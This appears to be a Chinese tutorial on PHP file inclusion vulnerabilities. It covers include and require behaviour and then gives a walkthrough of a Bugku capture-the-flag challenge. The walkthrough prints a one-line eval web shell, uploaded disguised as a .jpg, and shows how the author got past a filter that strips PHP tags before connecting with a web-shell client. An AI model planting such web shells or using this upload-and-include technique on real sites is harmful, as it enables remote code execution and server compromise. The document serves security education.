文件包含
开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含
文件包含漏洞
开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞
相关函数:
include()
include_once()
require()
require_once()
include()函数当遇到错误的信息时,会进行报错,但仍然会继续执行下面的代码
include_once()函数与include()函数功能类似,但所包含的信息只执行一次
require()函数当遇到错误的信息时,会进行报错,并且不会再继续执行下面的代码
require_once()函数与require()函数功能类似,但所包含的信息只执行一次
这里我们进行测试:
先将两个文件写好
这里发现phpinfo.php中的代码被运行两次,对应代码被包含的次数
这里可以看出include()函数和include_once()函数的区别:
include()函数只能包含一次
这里可以看到,当包含的文件不存在时,include()函数会报错,但仍然会继续运行下面的代码
在这里我们可以看出include()函数与require()函数的区别:
当包含文件不存在时,require()函数会报错,也不会继续运行下面的代码了
包含的实现:
包含的时候,并不一定去包含php文件
类似于文件1.phps、1.xxx、1.txt等等
只要内容中有php代码,则可以直接包含并解析执行
如果不能解析代码,则会在页面返回源代码
远程包含比较危险,使用的需要开启许多条件,一般不会开启
这里我们拿一题bugku的题目进行讲解:
http://114.67.246.176:10978
打开页面
发现file可控
打开网页源代码发现upload.php
打开发现是文件上传,且可以控制file,那么考虑文件包含
发现有文件后缀的校验,之前提到过
直接上马,将后缀改为.jpg
打开发现:
之前提到过,如果内容可以解析则解析并执行代码,如果内容不能解析则返回源码
这里看到,返回了_ eval(@$_POST['a']); _
考虑后端可能进行了过滤
试一下script的马
执行成功,使用蚁🗡连接,已经可以拿到flag
这里我们查看一下源码,为什么不能使用<?php eval(@$_POST['a']); ?>
来连接?
这里看出,将<?php ?>
替换成了 _
,我们才看到之前的_ eval(@$_POST['a']); _